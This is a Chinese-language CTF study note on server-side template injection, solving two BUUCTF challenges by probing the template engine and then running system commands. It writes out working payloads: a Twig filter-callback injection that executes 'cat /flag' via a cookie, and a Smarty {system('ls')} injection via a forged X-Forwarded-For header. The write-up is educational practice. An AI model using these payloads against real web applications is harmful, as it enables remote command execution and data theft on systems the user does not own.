Bootstrap

CTF笔记 SSTI模板注入


前言

之前做ssti题目的时候不认真,总是跟着wp做完就完事了,可能纯粹为了好玩做ctf题目,开个眼界,没有放在心上。现在想认真入门了,做个笔记。


以BUUCTF上的题目为例。本来想用sstilabs的,但是做题的时候,试了各种payload,flag就是出不来,不明白什么问题,如果有大佬知道咋解决的,告诉我一下,感谢。

一、判断模板类型

在这里插入图片描述

绿线表示payload成功解析,红线表示没有解析,原样返回了。一步一步向后判断,就能得出具体类型。

二、上例题

1.[BJDCTF2020]Cookie is so stable

在这里插入图片描述
一步一步判断:
在这里插入图片描述
失败了
尝试{{7*7}}
在这里插入图片描述
成功解析
继续{{7*'7'}}
在这里插入图片描述
依旧成功
可得出模板可能是Jinja2或者是Twig
继续尝试{{''.__class__}}
在这里插入图片描述

发现没有任何回显,感觉无了
再尝试{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
在这里插入图片描述
应该是被检测到了
根据题目猜测注入点在cookie中的user
再次尝试
在这里插入图片描述
有回显了
在尝试一下{{''.__class__}}
在这里插入图片描述
依旧没有任何显示
可能这里使用的模板就是Twig

查看了许多文章,用的都是一个针对Twig的payload
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
cat /flag可以换成其他系统命令

在这里插入图片描述
得到flag

2.[BJDCTF2020]The mystery of ip

在这里插入图片描述
既然题目叫the_mistery_of_ip,那肯定是在IP上下功夫
在这里插入图片描述
hint页面中也有提示,猜测xff伪造
进行尝试
在这里插入图片描述
发现根据xff内容,页面进行了更改

当然第一次看到这个题目我是懵的,所以去看wp了,按照正常顺序应该是猜测sql注入无果后再试ssti
所以这里就开个上帝视角,直接尝试ssti注入

和上面一道题目一样的步骤,进行判断模板类型
在这里插入图片描述

是Smarty模板,然后去查常用的payload
发现在{}里可以直接执行php命令

于是{system('ls')}
在这里插入图片描述
flag.php,去看一下
在这里插入图片描述
emmmmm,我又懵了。。。。。。。百度了一下,这是源码,flag不在这
再看一下根目录
在这里插入图片描述
又看到了flag,再看一下
在这里插入图片描述
是在这了。。。。。

Twig模板其他payload参考:PHP Smarty模版注入

后面貌似还有相关题目。但是还没有去做,所以就不放了,下次合着别的题目一起写了


总结

这次只是简单的把以前写的题目进行了总结,大致明白了解题步骤,但还是得多积累一些payload,以及绕waf的方法。这个可以去找sstilab通关相关内容进行学习,感觉那上面挺全的。

;